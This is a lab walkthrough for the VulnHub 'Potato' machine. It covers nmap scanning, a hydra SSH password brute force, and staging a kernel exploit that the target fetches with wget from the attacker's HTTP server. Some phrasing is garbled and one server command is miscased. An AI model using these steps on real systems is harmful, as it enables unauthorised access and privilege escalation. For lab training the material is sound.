vulnhub potato (difficulty: easy)
Knowledge points
1. Use of nmap
2. SSH blasting
3. Exploitation of vulnerability database
4. LINUX kernel privilege escalation
One information collection
nmap -sn 192.168.1.0/24
Make sure the IP of the target machine is 192.168.1.204
nmap -p- 192.168.1.204
Open port 80 and port 7120. 
First visit port 80, and only find info.php. No available information was found. 
Did a lot of attempts and found no results.
Two breakthrough from port 7120
nmap -A -p 7120 192.168.1.204
It turned out to be SSH. Then naturally I thought of blasting.
Three blasting
hydra -L user.txt -P dict.txt ssh://192.168.1.204 -s 7120
The success rate depends on the size of your dictionary. The
account and password are potato, letmein
ssh [email protected] -p 7120
Linux kernel privilege escalation
find / -perm -u=s -type f 2>/dev/null
sudo -l
I returned to no avail. After
getting wet, uname -a 
is the use of the vulnerability library.
You can find it yourself, and I will post it here. (Download the poc on the attacker, then compile it, and then let the target machine download the compiled file)

Compile it: sudo gcc ubuntu_poc.c -o /var/www/html/exp//Save the output to the /var/www/html/exp file. The
attacker opens the http service:python -m SimpleHttpServer
At the same time, the target machine wget http://192.168.1.135:8000/exp
immediately gives exp an execution permissionchmod 777 exp
